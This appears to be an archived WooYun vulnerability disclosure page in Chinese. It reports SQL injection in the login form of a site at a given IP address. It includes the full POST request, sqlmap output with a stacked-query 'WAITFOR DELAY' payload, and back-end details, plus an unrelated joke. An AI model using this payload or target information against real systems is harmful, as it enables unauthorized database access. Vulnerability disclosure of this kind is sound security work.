乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-08-04: 细节已通知厂商并且等待厂商处理中 2015-08-04: 厂商已经确认,细节仅向厂商公开 2015-08-14: 细节向核心白帽子及相关领域专家公开 2015-08-24: 细节向普通白帽子公开 2015-09-03: 细节向实习白帽子公开 2015-09-18: 细节向公众公开
老师用投影仪给学生讲课,上网挂着迅雷。 讲的正投入的时候,屏幕突然弹出一个对话框:“苍井空763M,下载完毕,是否打开” 这时,台下的学生们齐喊:“打开!打开!打开!打开!打开!” 这老师纠结啊。
http://219.143.252.76/cn/web/user_login.aspx
POST /cn/web/user_login.aspx HTTP/1.1Host: 219.143.252.76User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://219.143.252.76/cn/web/user_login.aspxCookie: ASP.NET_SessionId=p5ttirxwt5ud2okwn4k3f4ikConnection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 325__EVENTTARGET=lbLogin&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKLTkxNTcxOTIzMw9kFgICAw9kFgICBQ8PFgIeBFRleHQFG%2BeUqOaIt%2BWQjeaIluWvhueggemUmeivr%2B%2B8gWRkZGUFsgBRNVTzSi58Iq3joynEoQC4XJW2hPZLHG3zSs5r&__EVENTVALIDATION=%2FwEWBAKew42zCgLyj%2FOQAgLAr6WkDALRy8HXAudLVEUSuF79Vm5odSLKMvYe7riMIb8kIsKCKePqayNz&tbUserName=123&tbPwd=123
sqlmap resumed the following injection point(s) from stored session:---Parameter: tbUserName (POST) Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries (comment) Payload: __EVENTTARGET=lbLogin&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwUKLTkxNTcxOTIzMw9kFgICAw9kFgICBQ8PFgIeBFRleHQFG+eUqOaIt+WQjeaIluWvhueggemUmeivr++8gWRkZGUFsgBRNVTzSi58Iq3joynEoQC4XJW2hPZLHG3zSs5r&__EVENTVALIDATION=/wEWBAKew42zCgLyj/OQAgLAr6WkDALRy8HXAudLVEUSuF79Vm5odSLKMvYe7riMIb8kIsKCKePqayNz&tbUserName=123';WAITFOR DELAY '0:0:5'--&tbPwd=123---web server operating system: Windows 2003 or XPweb application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0back-end DBMS: Microsoft SQL Server 2000current database: 'zlqh_web'
危害等级:高
漏洞Rank:15
确认时间:2015-08-04 13:58
非常感谢!
暂无